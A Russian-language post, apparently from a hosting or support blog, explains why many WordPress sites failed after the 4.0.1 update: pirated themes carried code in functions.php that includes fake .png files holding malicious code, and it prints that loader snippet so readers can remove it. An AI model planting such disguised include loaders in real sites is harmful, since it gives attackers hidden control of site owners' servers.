Вышел и самообновился у многих WP 4.0.1
И, увы, у многих WP после этого лег. Сотни заявок, сотни сайтов, отдающих 502 ошибку или просто тормозящих до безобразия.
Удалось найти причину и решение не быстро, т.к. на первый взгляд ничего общего у сайтов не было.
Как выяснилось все «падшие» сайты использовали варезные плагины и темы (в основном ThemeForest).
Причиной некорректной работы сайтов (в абсолютном большинстве случаев) был файл functions.php, куда был добавлен код вида:
if (!defined('WP_OPTION_KEY')) {
include_once 'social.png';
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social0.png’;
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social1.png’;
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social2.png’;
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social3.png’;
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social4.png’;
}
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social5.png’;
}
Код может незначительно отличаться, но везде через include подключаются якобы .png изображения, которые на самом деле содержат в себе вредоносный код.
Если Вы не уважаете труд разработчиков — удалите этот код из Вашего сайта и ждите, пока вашу благодаря Вашей варезной теме или плагину опять не рухнет Ваш сайт.
Но я все же Вам советую либо приобрести понравившуюся тему, либо открыть редактор кода (надеюсь, хоть он у Вас не пиратский) и сесть за создание собственного шаблона.
На правах рекламы: